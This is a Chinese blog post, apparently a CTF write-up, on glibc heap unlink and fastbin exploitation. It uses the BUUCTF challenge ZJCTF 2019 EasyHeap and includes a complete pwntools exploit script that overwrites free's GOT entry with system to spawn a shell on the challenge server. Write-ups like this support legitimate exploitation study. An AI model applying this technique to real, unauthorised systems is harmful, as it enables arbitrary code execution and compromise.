Featured image of post 堆溢出——unlink漏洞攻击(buu举例)

堆溢出——unlink漏洞攻击(buu举例)

在早期glibc上利用假chunk绕过检查

前提

unlink在glibc 2.26之前存在可利用漏洞
要求

  1. 存在堆溢出,写到上一个chunk的size
  2. 自由创建在物理上相邻的堆

原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;                               
    BK = P->bk;
	//检查p和其前后的chunk是否构成双向链表
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else 
    {                            
        FD->bk = BK;                           
        BK->fd = FD;
        //一般的unlink到这里就结束了,只有是large bin范围,才继续执行下面的代码。
        //如果 p 在largebin的范围  且 p->fd_nextsize不为空
        if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) 
        {
          //检查p和其前后的large chunk的nextsize域是否构成双向链表
          if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
             malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);  
                             
          if (FD->fd_nextsize == NULL) {                
              if (P->fd_nextsize == P)                  
                FD->fd_nextsize = FD->bk_nextsize = FD;           
              else 
              {                         
                  FD->fd_nextsize = P->fd_nextsize;              
                  FD->bk_nextsize = P->bk_nextsize;              
                  P->fd_nextsize->bk_nextsize = FD;              
                  P->bk_nextsize->fd_nextsize = FD;              
                }                            
            }
            else 
            {                         
              P->fd_nextsize->bk_nextsize = P->bk_nextsize;           
              P->bk_nextsize->fd_nextsize = P->fd_nextsize;           
            }                               
          }                               
      }                                  
}

调用free函数时,系统会寻找相邻堆块是否已经释放,如果释放便会进行合并操作,指向先前被释放的chunk的指针会指向新的合并的chunk!
如果我们用特殊的手法操控这个指向就很危险——也就是glibc2.23中存在的unlink漏洞可以修改先前释放的指针的指向,实现任意地址写操作
用更简单的方式来说
写入假的chunk来绕过检查(比如修改free的got表指向system地址啦这种)

ZJCTF 2019]EasyHeap

保护
菜单题
create heap

  • heaparray[i]存放chunk地址
  • read_input(heaparray+i,size)写入chunk大小
  • 跳转查看后heap_array在bss段上
    edit_heap() 读v0大小到指定chunk中,但是v0比create大就溢出了
    delete中free时会将指针置0,所以不存在UFA,
    后门 ,或许修改掉magic就可执行 PIE没开,heaparray_addr = 0x6020E0

详解

先申请到3个chunk

1
2
3
add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2

heap2我们要将它送进fastbins,并修改指针到heaparray_addr的地址,下次申请时先申请到heap2,再到存放堆数组指针的地方申请作为伪装堆

非常好,-0x33初刚好找到我们需要的大小来构造0x7f的chunk,然后通过溢出去修改heaparray[0]

1
2
3
4
5
6
add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad) #由于物理上相邻,所以我们填充完一整个chunk1时prevsize,然后写入fd
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

接下来我们要把heaparray[0]修改为free_got,利用unlink将free_got修改到system去,then——free(1),由于free_got修改到system,直接执行system('/bin/sh')

exp

点击展开
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25734)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
    sla("Your choice :",'1')
    sla("Size of Heap : ",str(size))
    sla("Content of heap:",content)

def edit(idx,size,content):
    sla("Your choice :",'2')
    sla("Index :",str(idx))
    sla("Size of Heap : ",str(size))
    sla("Content of heap : ",content)

def free(idx):
    sla("Your choice :",'3')
    sla("Index :",str(idx))

add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

add(0x60,'aaaa') #重新申请回chunk2
add(0x60,'aaaa') #chunk2->fake chunk
payload=cyclic(0x23)+p64(elf.got['free'])
edit(3,len(payload),payload) #写入freegot

payload3=p64(elf.plt['system'])
edit(0,len(payload3),payload3) #将freegot修改到system
free(1) 


io.interactive()
本博客已稳定运行
发表了36篇文章 · 总计9万5千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...